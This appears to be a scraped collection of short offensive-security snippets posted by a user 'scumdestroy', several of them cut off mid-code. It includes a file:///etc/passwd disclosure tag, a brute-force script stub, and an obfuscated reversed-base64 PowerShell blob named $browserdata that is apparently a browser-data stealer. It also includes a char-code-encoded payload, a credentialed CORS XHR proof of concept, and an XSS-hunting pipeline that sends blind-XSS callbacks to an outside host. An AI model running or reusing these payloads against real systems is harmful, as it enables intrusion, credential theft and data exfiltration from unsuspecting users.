scumdestroy

#!/bin/sh

# Turns `jsluice urls` output into a wordlist you can use for fuzzing
# Usage: cat urls.txt | jsluice urls | jslclean.sh | tee wordlist-for-fuzzing.txt

jq .url | sort -u | sed 's/\"//g' | sed 's/^\///g'

scumdestroy

<link rel=attachment href=”file:///etc/passwd”>

scumdestroy

import sys
import base64

if len(sys.argv) != 3:
    print("Usage: python script.py users_file passwords_file")
    sys.exit(1)

users_filename = sys.argv[1]
passwords_filename = sys.argv[2]

scumdestroy

#!/bin/sh

# Hey there my friend.  If you are not JANN, you will likely need to update this script with the location of discraper.py
# May this tool help you be two shakes of a lamb's tail lazier and leave a little more room in your mind for remembering statistics about CENSOREDINFORMATION for your grocery store cashiers

if [ -z "$1" ]; then
    echo "Please provide a URL as an argument."
    exit 1
fi

scumdestroy

    WordPress: /wp-admin
    Drupal: /admin
    Joomla: /administrator
    Magento: /admin
    Concrete5: /dashboard
    SilverStripe: /admin
    Textpattern: /textpattern
    MODX: /manager
    Radiant CMS: /admin
    Contao: /contao

scumdestroy

#!/bin/sh

# func to do the search w/ curl
# syntax `perform_search anti-fur_APIKEY gh_APIKEYAPIKEYAPIKEY`
perform_search() {
    local search_term="$1"
    local api_key="$2"
    curl -s -H "Authorization: token $api_key" "https://api.github.com/search/repositories?q=$search_term" | jq '.items[].html_url'
}

scumdestroy

$browserdata = "==QKoU2cvx2QuMEZVNGejRUMsVmTzREbOtGN0R2Z1NXSpFEMsh3TTNnaLdjYURHZz4mWURXTwQzQ3tWUwdFa5ZGajB1VGZHb4I3SpN1UyxkY1VXW2gkSPVnQ2AXaDFDNPVzaXxkeLZlU3ZGRzRHepFmci1GekBFMxYVW4Yld1x0NuZnc3IWW1FTU0o0ZqdEaDJlVJVkeWh1REplZ05Ua2k3QoB1U2oGdiRmTO5kTWVHTLl2QZpWOHpmTnlDbsp1dZFVZ3h3Zod2UmFEaLN2SN5UQHxkTK1mdipGZBh2MWBVQJh1SzZTTx50cSVmbDFFZrhEN2cVY5h0NVJla48WNVpXN2A3YxE1aJZ2arpXdChTYwgjb5ZFbhpmSklTNOJGdKlmewEXS4BDRzZHa4lzbXpkNxRVY3FmMRZkYadlZ4gmVxYTOJt0batkQ3F0VWFWU3MzazcDb4lnMD9kQE9GTVJmULNDSpFnToZVQ0kXRtp2UzMTYLBnY2lnVDxUezIjWIdWVWp1dI10b6hDd3tGSnF3VMdDdkFTNvZWdUpkb3UGTB5kV3gFO2JEcZNlayFWV65UZ2tUM0knRMVEcq1mNWpGVpVGbRl3dWhUQmV3S1R0Y5J0dN1mZwNWeGRXYrd1b3RiCgAiCN0nCNkCKoNXdsZkLr5mNBFVQ1kkVSJVehJFeL9mezJHSmlnaClmS2hDSUdDM0YlYvd2bBZ0c25mc2RFM1lTczNmQYZnVIlGRmdnUPFmUYpVMHRCIgACIgoQDp8WO4NTMZJUd2EFS540N1EDdiZEd4NENSdkTxImYzcWbBN3cPFFSNhTQkZ2RUdkb5I0M1p2TGhnTVhmVCRjWMdGdyJWbq5GaPx2cMNjaxZGTQV3N2ZXTxYVMVBTNj1mcWtWNo1UOjNXULlWRitEbyoGeHFUby82QpVVcpRzcwN1S1U3ZTVWR15GNJZTNxRDZZNXSZpWdsJVNlFEWWVENTNkM5pmM4Z0MzNDMOlXV3d1MzoVY

scumdestroy

@( 46, 62, 65, 112, 64, 111, 111, 110, 59, 66, 107, 60, 67, 67, 61, 65, 107, 65, 59, 66, 59, 65, 60, 112, 61, 108, 107, 108, 61, 67, 108, 64, 110, 66, 108, 64, 66, 112, 62, 64, 109, 110, 62, 64, 65, 61, 62, 110, 60, 60, 60, 65, 67, 61, 110, 112, 109, 63, 59, 108, 61, 67, 61, 63, 66, 71, 49, 90, 49, 53, 49, 93, 42, 49, 69, 46, 62, 65, 66, 60, 63, 62, 62, 109, 109, 67, 61, 109, 58, 112, 108, 63, 58, 111, 58, 61, 109, 108, 112, 65, 64, 62, 107, 63, 62, 64, 67, 61, 109, 66, 111, 61, 108, 58, 65, 63, 109, 107, 65, 64, 61, 112, 61, 112, 110, 108, 108, 67, 110, 111, 67, 63, 108, 59, 61, 61, 58, 111, 63, 109, 62, 62, 108, 112, 63, 63, 59, 60, 61, 61, 63, 109, 107, 107, 63, 59, 62, 62, 60, 112, 59, 107, 59, 63, 67, 110, 66, 66, 65, 65, 108, 107, 59, 65, 67, 107, 107, 63, 60, 64, 66, 64, 60, 62, 110, 62, 60, 58, 58, 107, 59, 110, 59, 65, 58, 109, 66, 67, 61, 107, 110, 64, 61, 109, 71, 49, 64, 49, 53, 44, 44, 53, 49, 64, 49, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 53, 44, 44, 

scumdestroy

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
        alert(xhr.responseText);
    }
}
http://xhr.open('GET', 'http://targetapp/api/v1/user', true); 
xhr.withCredentials = true; 
xhr.send(null);

scumdestroy

#/bin/bash


hakrawler -url "${1}" -plain -usewayback -wayback | grep "${1}" | grep "=" | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff
|woff2|ico|pdf|svg|txt|js)" | qsreplace -a | kxss | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | dalfox pipe -b https://scumde
stroy.xss.ht